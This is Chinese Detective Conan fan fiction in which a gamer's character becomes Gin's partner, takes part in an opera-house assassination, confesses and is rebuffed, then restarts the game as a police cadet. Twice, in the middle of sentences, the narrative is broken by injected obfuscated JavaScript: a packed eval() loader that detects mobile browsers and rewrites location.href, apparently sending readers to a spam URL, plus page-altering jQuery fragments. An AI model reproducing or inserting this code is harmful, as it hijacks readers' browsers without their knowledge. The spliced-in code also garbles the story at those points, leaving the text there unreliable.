茶柱最终将刀插回了腰后的刀鞘。金属与皮革摩擦的声音让他牙关微微一紧。他不再看那片已经被迅速清理、仿佛什么都未发生过的地面,转身,一步一步朝着出口走去。脚步起初还有些虚浮,但逐渐变得稳定,只是背脊挺得笔直,像一根被强行绷紧的弦。 疲惫感如潮水般涌来,但更深处,是一种难以言喻的冰冷和空洞,正从刚刚被琴酒强行打开的某个缺口,丝丝缕缕地渗透进来。 他知道,有些东西不一样了。琴酒的目的达到了。这不仅仅是一次测试,从今往后,“技术员清水茶柱”的档案上,将无可辩驳地烙下属于杀人的血印。 【第二天 end】 获得成就: 【时间的逆行者】 评价B:唉……唉……至少你擅长读档 【琴酒的肯定】 评价A:你获得了与他同行的资格 【卡慕的猜疑】 评价A:坏了,你惹到代号成员了 【阴影的邀约】 评价A:你收到了一封邀请函 4. 04 深夜,清水茶柱走进系统赠送的安全屋。 门在身后合拢,隔绝了外界最后一丝声响。他没有开主灯,只有墙角亮起一圈幽蓝的呼吸光。他靠在门上,缓缓滑坐在地。 安静。太安静了。安静到他能听见血液在耳膜里鼓噪的声音,听见指尖无意识摩擦过衣缝的沙沙声,听见并不存在的、利刃切入血肉的闷响,和生命戛然而止时,喉咙里最后那口未能吐尽的气。 他抬起手,对着昏暗的光线。手很干净,修长,属于技术员的、敲击键盘的手。但此刻他感到细微的颤抖,指间是一片冰冷黏腻的触感,就像血。他握了握拳,指节发白。 为什么? 他问自己。为什么会有这种挥之不去的不适?不是恐惧,不是悔恨,他感到淡淡的反胃。身为“森川海”的那部分灵魂,那个生活在和平社会的普通玩家,拒绝承认“亲手终结生命”这一行为可以如此顺利地进行。 他有些迷茫地起身,在房间里打转。客厅酒柜里,陈列着系统赠送的各式名酒,在嵌入式灯带下泛着蜜色、琥珀色、深红的光。光影流动,混乱如同无法拼凑完整的故事碎片。他明明滴酒未沾,却感到一阵似有若无的眩晕,混合着胃部隐隐的抽紧。 一切都太真实了。 死亡太重了。重到足以压垮任何轻飘飘的灵魂。 他走到窗前,拉开一丝缝隙。冰冷的夜风灌入,稍稍吹散了屋内凝滞的空气。也就在这时,那种被注视的感觉,再次如冰冷的蛛丝,轻轻拂过后颈。 不是幻觉。 第一次是在琴酒的安全屋外,第二次是刚才回来的路上。对方的追踪技巧极高明,若即若离,如同附骨之疽,始终保持在视线边缘的阴影里。 是谁? 琴酒的人?那位多疑的top killer确实有充分的理由监视自己。但……茶柱脑中闪过一个荒谬的念头:明明白天直接问就能确认的事,偏要大费周章地深夜跟踪。 嗯…… 那琴酒很爱了。 但万一是未知的第三方呢? 要反向追踪吗? 茶柱试探性地打开小游戏。 【警告:好感buff即将失效】 太奇怪了,如果不是琴酒那还会是谁? 茶柱关闭了提示。反向追踪风险太高,他也不舍得这么有用的buff提前消失。他需要更多的信息。 天亮后,一切如常。 他跟着琴酒又出了两趟任务,是简单的情报交接,有他没他都可以——但这次是他开车。 握着方向盘,余光瞥见副驾上琴酒冷漠的侧脸,茶柱觉得,那并不存在的好感度条,似乎微妙地动了一下。 晚上依然是训练场,琴酒银发束起,黑色背心勾勒出精悍的身形。没有提及昨夜,直接进入新一轮的训练。今天是耐力与高压——在极限体能消耗后,立即进行复杂环境下的快速射击与战术抉择。 茶柱拖着尚未完全恢复的身体竭力跟上。汗水浸透训练服,肺部火辣辣地疼,握枪的手因为过度用力而微微颤抖后,在某个临界点奇异地稳定下来。他的大脑被迫停止那些无用的、关于道德与不适的纷乱思绪,只剩下最原始的念头:呼吸、反击、活下去。 训练间隙,琴酒扔给他一瓶水,站在几步外,点燃一支烟。 “感觉如何。”不是疑问句。 茶柱大口喘息,咽下冰水,喉咙的灼烧感稍减。“……还能跟上,前辈。” “跟上是基础。”琴酒吐出一口烟雾,隔着青灰色的雾霭看他,绿眸深不见底,“我要的可不是只能跟上的狗。” 他走近,声音压低,只有两人能听清:“昨晚的风,凉吗。” 茶柱心跳漏了一拍,但脸上瞬间切换成笑容,语气轻快:“前辈这样问好暧昧啊,我想我们感情还没进展到互相关心夜风的程——” 话音未落,肋骨处传来一记精准而不留情的肘击。 “哎呦!”茶柱龇牙咧嘴地蹲下。 琴酒:“……” 琴酒盯了他两秒,扯了扯嘴角,那不是一个笑容。 “今晚八点,车库。换身像样的衣服。” 晚上八点,茶柱换上了简单的黑衬衫与长裤,继续给琴酒当司机。 目的地是一家会员制的地下酒吧,灯光暧昧,爵士乐慵懒流淌。琴酒显然常来,径直走向最深处一个半开放式的卡座。那里已经坐了一个人。 她的金色长发如波浪起伏,在昏暗光线下流转着蜂蜜般的光泽。女人背对他们,身姿优雅,正轻轻晃动着手中的马天尼酒杯。听到脚步声,她回过头,露出一张足以令人屏息的美艳面孔,和一双冰蓝色的眼眸。 【关键人物接触:贝尔摩德(Vermouth)】 系统恰到好处地给出提示。 她看到琴酒,红唇勾起一个迷人的弧度:“Gin,真准时。”目光随即落到茶柱身上,那眼神像柔软的刷子,轻轻扫过他的脸庞、肩膀、手指,带着兴味。 “这位就是……你提起过的,有趣的新人?” “清水茶柱。”琴酒坐下,语气冷淡。 “我是Vermouth。”贝尔摩德举杯,笑容加深,“很高兴见到你,男孩。Gin可是很少带人来见我。” 茶柱点头致意,保持谨慎的沉默,在琴酒身侧坐下。他能感觉到贝尔摩德的视线并未离开,那目光并不尖锐,却仿佛能穿透衣物与皮囊。 交谈主要在贝尔摩德与琴酒之间进行,内容涉及一些组织在欧洲的事务、某个政客的动向,语调轻松如同闲聊,但信息密度极高。茶柱安静听着,大脑飞速处理着这些碎片,试图拼凑出组织更上层的轮廓。 偶尔,贝尔摩德会将话题抛向他,问些看似随意的问题,比如对某个技术的看法,或者对近期一次行动的分析。 正在挂机的森川海有些茫然地抬头。 她叽里咕噜说啥呢。 可她好漂亮。 可我听不懂他们在打什么哑迷。 可她冲我笑诶。 可…… “GPT。”森川海慎重地打字,“你是一位资深的职场沟通专家,精通各类职场交流技巧和情报分析。请根据以下碎片化对话,模拟构建模型并给出符合技术人员身份的、专业且不暴露立场的应答建议……” 感受一下科技的碾压吧! 就在某次贝尔摩德笑着提及“有些人总喜欢在暗处观察”时—— 【系统提示:】 【任务:暗处的目光已结束】 【观测者身份:Vermouth。】 【评价:你已引起魔女的兴趣】 暗中的窥探者是她! 但是为什么? 他和贝尔摩德素无交集,为什么这位代号成员会主动关注自己? 她想知道、或者得到什么? 茶柱后背沁出一层细汗。 “好了,工作谈得差不多了。”金发美人身体微微前倾,手肘支在桌面上,托着下巴,目光在琴酒和茶柱之间流转,“我手头有个小麻烦,需要点‘专业’的帮助。一个人做,有点无聊呢。” 她看向茶柱,语气诱人如蜜糖:“茶柱君,有兴趣来帮我一下吗?不会占用你太多时间,而且……报酬会让你满意的。” 琴酒没有立刻说话,只是冷冷地看着贝尔摩德,又扫了一眼茶柱。 哇。这算两个美人为他争风吃醋吗? 森川海眼一闭就是欺骗自己,好幸福,之前吃的苦都值了,他活着就是为了—— 衍生—近代现代—无cp 好了那没事了。 “如果琴酒大人没有其他任务安排,”茶柱看向琴酒,语气平稳,“我愿意提供协助。” 琴酒沉默了几秒,终于开口,声音听不出情绪:“可以。别搞砸。” “放心。”贝尔摩德笑容灿烂,递给茶柱一个存储器,“具体要求和初始数据在这里。三天后在老地方见,给我方案。”她眨了眨眼,“期待你的表现,男孩。” 接下来三天,茶柱如同行走在锋刃之上。 贝尔摩德给的任务,表面上是清理某个跨国公司的服务器中关于组织的资金流向痕迹,但实际复杂得超乎想象。这恐怕不仅仅是对“清水茶柱”黑客技术的测试。 清水茶柱几乎不眠不休。除了完成贝尔摩德的任务,他还要继续和琴酒的训练。茶柱摆了,几次直接在训练场角落“挂机”昏睡,直到被毫不留情的踢醒,或干脆被拎到最近的安全屋扔下。 虽然琴酒说的是什么“想死别死在这儿”之类的难听话。 但是琴酒关心他!琴酒好! 第四天晚上,他再次来到那家酒吧。贝尔摩德已经在等他,这次只有他们两人。 茶柱将一份报告和数据备份推到她面前,口头简述了关键步骤、遇到的陷阱及其解法。 “……我最终选择的清理路径平衡了效率、安全性与隐蔽性,但我似乎发现,数据有部分异常可能指向另一个情报机构……” 贝尔摩德仔细听着,翻阅着报告,冰蓝色的眼眸中兴趣越来越浓。当茶柱提到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189131|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个异常标记时,她终于抬起眼,深深地看了他一会儿。 “漂亮。”她放下报告,鼓了鼓掌,这次的笑容里多了几分真实的赞赏,“不愧是琴酒的小鸟,你相当大胆啊。” 她身体后靠,姿态放松下来,“你通过了,茶柱君。比我预期的还要好。” 她递过来一杯酒:“庆祝一下,当你提前获得代号?” 茶柱接了过来,被浓烈的酒精味熏的眼前一花。 他尝了一口。 坦白来讲味道还不错,但是,但是! 喉咙传来火烧一样的痛,紧接着就是要休克般的窒息感。 “你往酒里加了什么?”清水茶柱绝望地问,“我只是个无助的底层成员,到底为什么要害我?” 贝尔摩德:“……” 她笑容消失,盯着茶柱一下子泛红的脸、脖颈、露在外面的手臂…… “清水君。”贝尔摩德说,“你是不是酒精过敏。” 清水茶柱:“……” 森川海终于看清了【酒精过敏】的debuff。 “我草。”森川目瞪口呆,“我酒精过敏?我一个酒厂的酒精过敏?!” 这游戏是不是油饼! 这也太丢脸了! 贝尔摩德默默拿走递给茶柱的酒:“那么,期待下次合作。你……你别死了。” 茶柱眼前一黑,“哐”一下倒在桌子上。 贝尔摩德:“……” 千面魔女感到震撼。 回到安全屋时,已经是深夜。 琴酒把茶柱扔到沙发上,茶柱恹恹地翻过敏药吃。琴酒的□□放在手边的茶几上,银发在顶灯光线下流泻着冰冷的光泽。 “前辈。”茶柱坐起身,“我活了。” 琴酒送伤员回家,琴酒好! “她的活做完了?”琴酒问。 “是。” “感觉如何。” “任务难度很高,但可以完成。”茶柱斟酌着用词。 琴酒哼了一声,从沙发上站起身。他的身形带来的压迫感在狭小的空间里陡然放大。他走到茶柱面前,两人距离近到茶柱能看清他绿色瞳孔中自己的倒影。 “你做得不错。好到让她觉得有趣。”琴酒的语气听不出喜怒,“而有趣,在这个组织里,往往死得最快。” 茶柱没有接话。 “我给你两个选择。”琴酒继续说,目光锁定他,“第一,继续这样,在她偶尔兴起的游戏里扮演聪明的棋子,直到某天,游戏升级,或者她失去兴趣。” “第二,”他顿了顿,“从现在开始,做我的固定搭档。我会给你相应的权限,也会给你相应的任务——更危险,但也更‘安全’,因为你会在我眼皮底下。” 搭档?和那个多疑、冷酷、掌控欲极强的top killer? 不,是和那个银色长发、绿色眼睛、身材超好、脸长的好看,声音好听,而且人很好很关心下属的琴酒。 我去,还有奖励? “我选择做您的搭档,前辈。”茶柱抬起仍带着些微红疹的脸,金色眼睛在灯光下显得湿漉漉的,语气却认真,“所以,以后就能一直和您在一起了?” 琴酒:“……” 银发杀手似乎被这过于直白且略带歧义的表述哽了一下,微妙地移开了视线。 “做好你的本分。”他避开了直接回答,从口袋里取出一件东西,抛了过来。 茶柱接住。那是一封信,没有封口,信封上画着一只红眼的乌鸦。 他打开信封,抽出一张信笺纸,那上面有一行手写的花体字母: BRENNIV?N “你的代号。”琴酒重新拿起□□,走向门口,“冰岛的黑死酒。” 他在门口停住,侧过头,银发遮住半张脸,只露出线条冷硬的下颌和那双在阴影中泛着寒意的绿眸。 “明天开始,任务简报会直接发给你。做好随时出发的准备,布伦尼文。” 茶柱独自站在灯光下,低头看着手中的信纸。布伦尼文,Brennivín。燃烧的酒。黑死酒。 这名字可真不怎么样。 【第七天 end】 【代号确认:Brennivín】 【阵营关系更新:琴酒】 【阵营关系更新:贝尔摩德】 【新权限解锁】 【更新状态:酒精过敏】 【成就达成:黑火烙印】 评价:S(你在作死这方面很有自己的天赋) 5. 05 获得代号布伦尼文后是茶柱的组织生涯中罕有的接近规律的时期。 琴酒似乎对“搭档”这个词有一套自己的理解。他不满足于布伦尼文只停留在技术人员的层面,亲自带着茶柱学习更多的知识——审讯、反审讯、搏斗、狙击。几乎是他能做到的方方面面。 好在布伦尼文并不是蠢人。 每一次任务都是一次双向的学习。布伦尼文逐渐熟悉了琴酒的行动模式。他学会了在琴酒给出一个坐标时,立刻调取周边所有的监控;学会了在琴酒沉默地擦拭□□时,提前准备好撤离路线。 琴酒也在观察。观察布伦尼文如何利用那些杂乱无章的信息碎片拼出完整的情报,如何在键盘上决定目标命运,以及……如何在一次近身遭遇战后,对着沾了灰的袖口皱眉,却对地上的血迹视若无睹。 他们的交流多数时候仅限于任务。但有些东西在细微处变化:琴酒偶尔会在他处理完某个技术难题后,递来一支烟——虽然布伦尼文总是摆手拒绝,理由是“影响身体健康”;布伦尼文也会在长时间的任务中,递给琴酒一颗不知从哪顺走的、包装完好的薄荷糖。 为了掩盖烟味,他对琴酒解释。 【系统提示】 协作效率增加。 默契度(双向观测)缓慢增长中。 森川海抬头:嗯,进度条动了!我就说琴酒喜欢养成系……虽然感觉在养狗。 但是双向观测是什么意思?琴酒果然在偷偷观察我! 平静在贝尔摩德的一条加密讯息中结束。 “有个有趣的剧目即将上演,需要两位来确保落幕完美。明晚八点,老地方。——V” 翌日晚,酒吧包厢。贝尔摩德将一份薄薄的档案推到琴酒和布伦尼文面前。 目标:安吉丽娜·科西嘉。享誉国际的资深歌剧家,数个欧洲艺术基金会的名誉主席,社会名流。亦是组织早期的重要秘密资助人之一,知晓部分不该存留于世的过往。 “她退休前的最后一场告别演出,下周在东京歌剧院。”贝尔摩德指尖轻点照片上那位银发盘起、气质雍容的老妇人,“演出后,她会彻底隐居,带走所有秘密。那位先生的意思是:让她在掌声中永恒谢幕。” 难点在于,安吉丽娜近年愈发谨慎多疑。她的私人包厢与后台休息室被改造成安全屋,层层守卫,且只允许女性工作人员和服务人员近身。演出结束后,她会在五分钟内由私人保镖团队簇拥离开,直达专属车辆。 “所以,”贝尔摩德冰蓝色的眼睛带着愉悦的笑意,目光在对面两人脸上流转,“我们需要两位足够专业、且能通过安检的‘女士’进入后台,在掌声响起前,让一切结束。” 这已经不算暗示了,几乎是直白地点名琴酒和茶柱——天知道组织是不是没人了,连top killer都要下海。 琴酒的脸瞬间沉了下去,周身气压骤降。 “让布伦尼文去。”他冷硬地开口,“他擅长这些。” 被点名的布伦尼文立刻抬头,眯着眼无辜道:“前辈,我是搞技术的。暗杀,尤其是这种贴身暗杀,还是前辈比较擅长吧。” “我教过你格斗和杀人。”琴酒绿眸锁定他,声音没有起伏,“足够用了。” “可我是技术人员!”布伦尼文试图强调身份,“我是打辅助的,琴酒你作为前辈能不能好好努力!” 琴酒微微倾身,那股熟悉的压迫感再次笼罩下来:“要么你自己走进去。要么,”他顿了顿,“我帮你准备好,然后扔进去。” 空气凝固。 “好了,Gin,别吓唬我们的小鸟儿。”贝尔摩德适时轻笑,打破僵局,“茶柱君有更重要的任务——他需要在我身边,负责整个歌剧院的电子系统和监控,以及保障我们撤退。他可没工夫分心去对付那位警惕的老夫人。” 她端起酒杯,看向琴酒,笑容妩媚:“至于进入后台的那位女士……我想,没有比经验丰富、临场应变能力顶尖的你更合适了,Gin。当然,为了看起来更自然,你可能需要一位同伴。我会负责搞定身份、服装和伪装。你们只需要扮演好角色。” “我不去。”琴酒说。 “不,你去。”贝尔摩德说。 “组织里这么多人。”琴酒冷着脸,“你就不能找别人吗?” 贝尔摩德还在笑:“别这么幼稚,琴酒,你也知道这次任务意味着什么。” 琴酒:“……” 布伦尼文仿佛看到琴酒额角有青筋轻微跳动了一下。他立刻低下头,死死抿住嘴,生怕自己笑出声——然后乐极生悲地接到一个为期一个月的西伯利亚训练营奖励。 琴酒真这么干过。 漫长的、令人窒息的沉默后。 琴酒从牙缝里挤出一个冰冷的音节:“……行。” 【系统提示】 接受特殊任务 【歌剧院的暗影】 任务要求:与琴酒一同进行伪装潜入。 警告:任务失败可能导致琴酒好感度急剧下降。 森川海不语,一味地存档。 他也是好起来了,连琴酒女装这种事都能看见,感谢贝姐,感谢贝尔摩德,感谢Boss,感谢组织。 至于自己女装…… 嗨,都玩家,别说女装了变性都行,谁会在意呢? 除了琴酒零人在意! 任务前夜的安全屋,气氛诡异。 贝尔摩德亲自带来了装备——两套根据身形订制的、用料考究的晚礼服裙装,配套的首饰、假发、化妆品,以及一个装着特殊化妆品的化妆包。 琴酒面对着那套深紫罗兰色的拖地长裙,脸色黑得堪比锅底。虽然为了遮挡他过于高大的身形,衣服堪称保守,但茶柱还是觉得琴酒想杀人。 茶柱自己分到的是相对简约的香槟色及膝小礼服,但衣服露背露手臂露腿。 “那我岂不是还要脱毛?”布伦尼文无助地问。 “对,亲爱的。”贝尔摩德说。 “琴酒也要脱吗?” 两个人一起看着琴酒。 琴酒:“……滚。” 布伦尼文转回头:“前辈,我要戴假发吗?” “放松点,男孩。”贝尔摩德亲自上手给布伦尼文上妆,修饰面部线条,再戴上浅金色的长假发,“对,你们都要。” “琴酒也要吗?” 两个人再次转头看琴酒。 琴酒:“……” 琴酒把□□放在桌子上。 贝尔摩德遗憾转头:“好吧,琴酒的假发要比你方便。” 布伦尼文不太适应地看着镜子中金发笑眸的女孩,走了两步。 “注意走路姿势。”贝尔摩德点评。“想象你只是在扮演一个角色。” “就像在游戏里选择外观一样?” “就像在游戏里选择外观一样。” 轮到琴酒时,贝尔摩德的笑意几乎要溢出来。琴酒浑身散发着生人勿近的戾气,但在任务要求下,还是僵着身体任由摆布。粉底遮盖了过于冷硬的线条,假发是与他发色相近的银白,盘成复古的发髻。深紫色的礼服裙勾勒出意想不到的、带着力量感的修长身形。 当琴酒最终戴上遮掩喉结的蕾丝颈饰,面无表情地站在那里时,一种混合着违和与美感的冲击力,让正在笨拙地适应高跟鞋的布伦尼文看呆了。 “琴酒!”布伦尼文乱七八糟地走过去,“你真好看。” 琴酒:“……” “记住,”贝尔摩德最后检查了一遍,收敛笑容,“安吉丽娜会在第二幕结束后,回休息室补妆并饮用固定的花茶。‘口红’在你的茶杯边缘。第三幕开场前,一切必须结束。”她将一枚镶嵌着微型通讯器的胸针别在琴酒礼服上,另一枚相似的给了布伦尼文。 演出夜,东京歌剧院灯火辉煌。 凭借伪造的邀请函和贝尔摩德事先打点好的关系,化身“沉默寡言但气质冷艳的伯爵遗孀”的琴酒和“其略显羞涩的远方侄女”的布伦尼文,顺利进入了后台区域。空气中弥漫着化妆品的气息。 布伦尼文努力让自己看起来像个对后台好奇的年轻女孩,目光飞快地扫过一个个摄像头的位置。 琴酒则完全进入了角色——生人勿近、高傲冷漠的贵族女性形象,完美契合了他本人的气质,减少了不必要的搭讪。他按照计划,以“向科西嘉女士表达敬意”为由,接近了那间守卫森严的休息室。 “不好意思。”在门外,布伦尼文被拦住了。 “您不能进去。”守卫说。 茶柱看向琴酒,琴酒微微点了下头:“去外面等着。” “好吧,夫人。”女孩看起来不太高兴。 她替那位伯爵夫人整理了一下衣领与首饰,白了守卫一眼,抱着双臂离开了。 贝尔摩德对茶柱的出现毫不意外:“她进去了?” 茶柱点点头:“能带我去休息室吗,温亚德女士?” 休息室里,茶柱飞快组装好电脑,开始看琴酒身上针孔摄像头的录像。 安吉丽娜·科西嘉刚结束第二幕,正在卸除浓妆。她对不速之客的到来感到惊讶,但良好的修养让她保持了礼貌。 倒茶。寒暄。赞叹演出。琴酒扮演的“伯爵夫人”用戴着丝绒手套的手指,优雅地端起自己那杯茶,杯沿与安吉丽娜的轻轻一碰。 布伦尼文的心提到了嗓子眼。他看着那位老歌唱家微笑着饮下茶,继续谈论着音乐。 一切都很完美。 直到第三幕开场预铃响起,安吉丽娜起身准备时,异变突生! 她的一名始终站在角落、看似普通的女仆,突然抬眼,手迅速探向腰间——那里有枪的凸起! 被识破了?有额外的贴身护卫? 但琴酒的反应比她更快。在女仆拔枪的瞬间,他看似踉跄了一下,撞翻了旁边的小茶几,杯盘碎裂声掩盖了轻微的枪栓声!琴酒藏在裙摆下的手已经握住了手枪,但在如此近的距离和环境下,开枪会立刻引发警报。 女仆动作一滞。就这不到一秒的间隙,琴酒拧身,戴着丝绒手套的手掌如刀,狠辣地切在女仆颈侧。女仆软软倒下。而几乎同时,沙发上的安吉丽娜·科西嘉也停止了呼吸,面容平静如同沉睡。 休息室内一片死寂,只有门外隐约传来的乐队序曲。 琴酒冷冷地瞥了一眼倒在地上的女仆,把裙摆里的定时炸弹放在不易察觉的角落,然后迅速整理了一下裙摆,仿佛只是匆忙赶去观看下一幕的贵妇,从容而快速地离开了休息室。 三分钟后,他们在预定撤离点汇合。远处,歌剧院后台某处冒起了不大的烟雾,引发了小小的骚动,正好掩盖了他们的离开。 【任务完成:歌剧院的暗影】 【评价:S】 【特殊成就解锁】 【琴酒好感度变化:???】 回到安全屋,已是后半夜。 紧绷的神经骤然放松,带来的是更深的疲惫和劫后余生般的虚脱。琴酒早已换回熟悉的黑衣,长发往下滴着水,似乎刚洗去所有化妆品的痕迹。他坐在沙发上,罕见地没有擦拭□□,只是看着茶几上贝尔摩德送的那瓶高级威士忌。 布伦尼文也换回了舒适的便服,酒精过敏带来的轻微红疹在药效下基本消退。他看了看那瓶酒,又看了看沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189132|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默的琴酒,迟疑了一下,还是走过去,拿起杯子,倒了浅浅一个杯底——给自己。然后又拿出一个干净的杯子,倒了正常分量,推到琴酒面前。 琴酒抬眼看他。 “我喝水,或者果汁就行。”布伦尼文解释,晃了晃自己那点可怜的杯底,“就当是我有仪式感好了。” 为了庆祝任务成功。 也为了一些只有玩家才有的愿望。 琴酒没说什么,拿起酒杯,一饮而尽。辛辣的液体滑过喉咙,他冷硬的侧脸在灯光下似乎柔和了一瞬。 布伦尼文小口抿着自己杯底那点酒,喉咙传来轻微的窒息感。气氛安静得有些微妙。那些共同经历的荒诞、紧张、默契,以及最后下意识的掩护与配合,都在沉默中发酵。 我们是共经生死的人。 森川海看着屏幕上共处一室的两人,觉得氛围刚好。他点开了角色面板,找到了琴酒的头像,戳了戳那个一直显示为【???】的好感度栏。 “前辈。”布伦尼文忽然开口,“琴酒。” 琴酒看向他,绿眸深邃。 “我……”布伦尼文顿了顿,那双总是眯着的金色眼睛,此刻认真地睁开,“我觉得,我可能不只把你当作搭档或者上级。” 琴酒的眼神微微一动,没有移开,也没有说话,等待下文。 布伦尼文深吸一口气:“我的意思是,我好像喜欢前辈。” 沉默。 令人窒息的沉默。 几秒钟后,琴酒的声音平静无波地响起:“我是异性恋。” 布伦尼文眨了眨眼,表情不变。 森川海打开系统面板,找到【角色设定】—【基础信息】—【性别】。 “可以啊。”布伦尼文语气轻松,“性别不是问题,我也可以是女人。” 琴酒眉头蹙了一下,看着布伦尼文理所当然的态度,补充道:“我也不喜欢女人。” 森川海手指一顿,随即流畅地滑向另一个选项。 布伦尼文:“那我可以是双性。” 琴酒盯着布伦尼文,绿眸里的情绪难以分辨,但绝对不是感动或羞涩:“我讨厌人类生殖器。” 布伦尼文这次真的愣了一秒,似乎被琴酒过于直白的话噎住了。 但森川海迅速恢复:“……我也可以是无性别的。或者,你希望我是什么性别?我们可以商量。” 琴酒放下了酒杯。玻璃杯底与茶几碰撞,发出清脆而冰冷的一声。 他身体微微前倾,熟悉的属于顶尖杀手的压迫感再次弥漫开来,比以往任何一次都更危险。 “布伦尼文,”他叫了他的代号,“你是不是觉得,这个世界,所有人,包括我,都像你电脑里的数据一样,可以随意编辑、调试,甚至删除重来?” 布伦尼文脸上的轻松瞬间冻结。 琴酒缓缓站起身,阴影笼罩住他:“你对喜欢的定义是什么?是因为觉得有趣?还是说,”他逼近一步,绿眸中映出布伦尼文有些苍白的脸,“只是你在所谓的游戏里,想要达成的成就?” 安全屋的空气降至冰点。 布伦尼文张了张嘴,却发现那些属于“森川海”的俏皮话在此刻琴酒真实的审视下,变得苍白无力以至于可笑。 “看来,”琴酒最终后退一步,拉开了距离,声音恢复了惯常的冰冷,“你需要一些更基础的训练来重新认识什么是现实。实验室最近缺一批活体素材,你想去试试么。” 实验室? 有新地图了? 布伦尼文思索片刻:“如果这也是琴酒要求的话那我不是不——” 他被琴酒掐着脖子按在桌子上,酒杯打翻,耳边是玻璃碎裂清脆的声音。 “你是不是有病,清水茶柱?”琴酒声音绷的很紧,“酒精过敏把你的脑子也烧坏掉了?” 布伦尼文犹豫了一下。 然后轻轻舔了一下琴酒的手臂。 琴酒的表情破碎了。 他“哐”一下把自己的搭档扔到桌子上,转身走了。 嗯……回卧室了。 “那明天早上还训练吗?”茶柱无辜地发消息。 Gin:…… Gin:迟到一秒,加练一小时。 …… 布伦尼文独自坐在沙发上,看着琴酒那杯还剩一半的威士忌,又看看一片狼藉的桌子。 他端起琴酒的杯子,开始一口一口地喝酒。 系统面板在眼前不断闪烁着【酒精过敏】的debuff。 【琴酒好感度更新】 【警告:目标好感度下降】 【琴酒好感度???】 【警告 警告】 【警告:检测到关键NPC底层逻辑不可修改性,强行干预可能导致数据崩溃。】 【警告 任务失败警告】 【新任务生成】 他关掉面板,向后靠在沙发里,闭上眼睛。 歌剧院的香水味仿佛还萦绕在鼻尖,混合着血腥、火药和琴酒身上冷冽的气息。 喜欢是真实的吗?是森川海对纸片人的投射,还是布伦尼文在黑暗中滋生的依赖? 布伦尼文是真实的吗? 森川海呢?琴酒呢? 他不知道。 【第216天 end】 获得成就: 【琴酒的审视】 评价A:你看,让你乱说话。 【酒精过敏】 评价B:老师这也是你和琴酒play的一环吗? 【限定皮肤收藏家】 评价S:恭喜你!看到琴酒女装并且没有被灭口。 6. 06 总之,森川海逃跑了。 很怪,但他不知道怎么面对明天的琴酒,也想不通一切到底是怎么回事。 他胡乱拉着系统的进度条,试图从变化的时间里找到自己和琴酒的关系。 未果。 琴酒是个很冷酷的人,但也很守信,他说任务失败那就是真的失败了。 时间线拉到最后,布伦尼文死在欧洲的一次任务里。很简单的失误,对清水茶柱来说荒谬的像一场笑话,但没有玩家干预,没有读档重来,他就是死了,死在离故乡九千公里的地方,在他还年轻的时候。 【Bad ending】 【无名之人】 【评价A:虽然你死了,但至少有人会记得你。】 重新开始吧。森川想。 这一次换个环境换个攻略对象什么的……上次那种情况确实是很难攻略了,虽然top killer真的很涩但他不就是涩在单身吗? 总之玩家没错琴酒更是没错全是狗策划的错! 你的名字是森川和也。 你今年22岁。 …… 你曾经是医学生。 警校宿舍后有一片空地。 但现在没那么有空,这里挤了六个人——或者说两个在打四个在看,气氛诡异地大半夜上演全武行。 “……我发过誓,”森川和也的声音在夜风里像鬼一样飘忽,带着近乎虔诚的痛苦,“我再也不会学医了。” 他蹲在花坛边缘,抬头望着根本没几颗星星的夜空,侧脸线条在月光的余辉里显得格外沉痛。 “真的,相信我。当医学生的日子不是人过的。我这辈子没背过那么多书,第一次进标本室老师拍着肩告诉我别怕人是红白相间的肉,值班熬夜熬到到看见衣架上白大褂飘都觉得是前辈回来查房……别问是什么前辈。总之我这辈子,下辈子,下下辈子,都不会再碰任何一本医学书了。” 森川和也顿了顿,加重语气:“所以我来这儿了。我想通了,人不能为难自己,我要弃医从警,我不学医做什么都会成功的。” 一阵沉默。 伊达航咬着牙签,先开了口,声音平稳:“我是因为想继承老爸的信念,当个不让他失望的刑警。” 诸伏景光温和地笑了笑,蓝眼睛在昏暗光线下显得格外清澈:“我想查明一些事情……一点个人问题。” 萩原研二晃了晃手里的饮料,也不知道他从哪儿变出来的。他耸耸肩:“我嘛,大概是为了看着某个笨蛋,别让他真把警视总监揍了。” 他说着,瞟了一眼空地中央。 降谷零和松田阵平正打得难解难分,缠缠绵绵,显然没空加入这场人生探讨。 森川和也:“……” “严肃的理由……崇高的理想……背负的过去……”森川和也喃喃道,“只有我的理由如此苍白,充满了对生理生化病理病生的恐惧……我忏悔,我不是一个合格的警校生……” 萩原研二噗嗤笑出声,饮料差点没拿稳。 伊达航无奈地摇头,但嘴角也弯了起来。 “喂喂,森川,”萩原研二擦擦并不存在的眼泪,“你这话说的,好像我们几个的理由多沉重似的。你的理由也很实在嘛,逃离苦海,奔向新生,多棒!” “就是,”伊达航接口,带着点调侃,“比起某些人为了打一顿警视总监才考警校,你这个理由正经多了。” “蒸蚌,”森川和也有气无力道,“那有人管管他们吗?” 没有。 “不过,”诸伏景光轻声补充,“‘弃医从警一定会成功’这个结论,是怎么得出来的呢,森川?听起来更像一种美好的祝愿。” 简称做梦。 “求别拆台。”森川痛苦开口,“让我保留一点幻想谢谢,不然我怎么面对鬼冢教官?他每次看到我急救课满分格斗课倒数的成绩单的时候,我总是幻视我爸。” “说起来,”萩原研二摸着下巴,打量森川,“你医学相关确实厉害得不像话啊,上次那个创伤处理连教官都夸你。这难道不是医学的馈赠?” 